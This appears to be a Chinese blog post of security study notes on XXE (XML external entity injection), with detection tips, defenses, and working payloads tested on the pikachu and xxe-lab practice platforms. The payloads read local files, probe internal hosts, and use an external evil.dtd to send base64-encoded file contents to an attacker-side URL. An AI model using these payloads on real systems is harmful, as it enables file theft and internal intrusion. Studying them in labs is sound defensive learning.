网络安全笔记 -- XXE&XML(利用、检测、绕过)

1. 概念

XML: 指可扩展标记语言,被设计用来传输和存储数据。

XXE: 全称(XML External Entity Injection)XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

2. 检测和利用

2.1 概要

检测

  • 白盒: 函数及可控变量查找、传输和存储数据格式类型
  • 黑盒: 人工、 工具

人工检测包含:

  • 数据格式类型判断:<user>test</user><pass>Mikasa</pass>
  • Content-Type值判断:text/xml、application/xml
  • 更改Content-Type值看返回

利用

  • 输出形式:有回显(http、file、各脚本协议、外部引用)、无回显(外部引用-反向链接配合)
  • 过滤绕过:协议玩法、外部引用、编码UTF-16BE

2.2 实例

2.2.1 pikachu平台实例(有回显)

在这里插入图片描述

读文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///usr//a.txt">
]>
<x>&xxe;</x>

内网探针或攻击内网应用

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ELEMENT foo ANY>
	<!ENTITY rabbit SYSTEM "http://127.0.0.1:8080/index.txt">
]>
<x>&rabbit;</x>

引入外部实体dtd(需要开启 “允许外部条件使用”)

<?xml version = "1.0" ?>
<!DOCTYPE test [
	<!ENTITY % file SYSTEM "http://127.0.0.1:8080/evil.dtd">
	%file;
]>
<x>&send;</x>

evil.dtd文件:

<!ENTITY send SYSTEM "file:///usr//a.txt">

2.2.2 pikachu平台实例(无回显)

读取文件,将文件内容发送到特定网站(攻击者网站),通过查看日志文件得到结果

<!DOCTYPE ANY [
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///usr//a.txt">
	<!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/evil.dtd">
	%dtd;
	%send;
]>

evil.dtd文件:

<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8080/re.php?data=%file;'>"
 >
%payload;

2.2.3 xxe-lab平台实例

检测思路和利用

  1. 提交的数据包包含XML格式如:
    admin123
  2. 请求头中如:
    Content-Type: application/xml;charset=utf-8
    Content-Type: text/xml;charset=utf-8
  3. 构造payload,并上传
<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///usr//a.txt">
]>
<user><username>&xxe;</username><password>1</password></user>

在这里插入图片描述
在这里插入图片描述

3. 防御

1. 禁用外部实体
PHP
Python
Java

2. 过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

3. 使用WAF产品

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
泛微OA是一种常见的企业办公自动化系统,而XXEXML外部实体注入)漏洞是指攻击者通过注入恶意的外部实体来读取或利用系统中的敏感数据。 泛微OA的XXE漏洞是由于系统对外部XML实体的处理不当所导致的。攻击者可以通过构造恶意的XML实体并将其发送给系统,然后利用系统对外部实体的解析不当来读取系统中的文件,包括敏感的配置文件、数据库信息。攻击者还可以通过XXE漏洞发起钓鱼攻击或者是向系统发送恶意的请求来进一步导致系统的安全漏洞。 为了防范泛微OA的XXE漏洞,建议以下几点: 1. 进行安全审计:对泛微OA系统进行定期的安全审计,通过检测系统中的漏洞和弱点,及时修复存在的XXE漏洞。 2. 模板限制:在处理外部XML实体时,应限制或阻止对外部实体的解析,避免可能的XXE攻击。可以通过设置合适的解析选项,限制对外部实体的访问权限。 3. 输入验证与过滤:对于用户输入的数据,应进行合理的验证和过滤,确保输入的内容符合预期格式,避免恶意的外部实体注入。 4. 更新补丁:定期保持泛微OA系统的更新与升级,及时安装官方发布的补丁和修复漏洞的版本。 5. 安全意识培训:加强企业员工的安全意识培训,提高他们对XXE漏洞及其他安全威胁的认识,避免因无意中点击恶意链接或下载恶意附件而导致漏洞的利用。 通过以上措施,可以有效地减少泛微OA中的XXE漏洞,提升系统的安全性。及早识别并修复漏洞,有助于保护企业的机密信息以及防止潜在的安全威胁发生。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值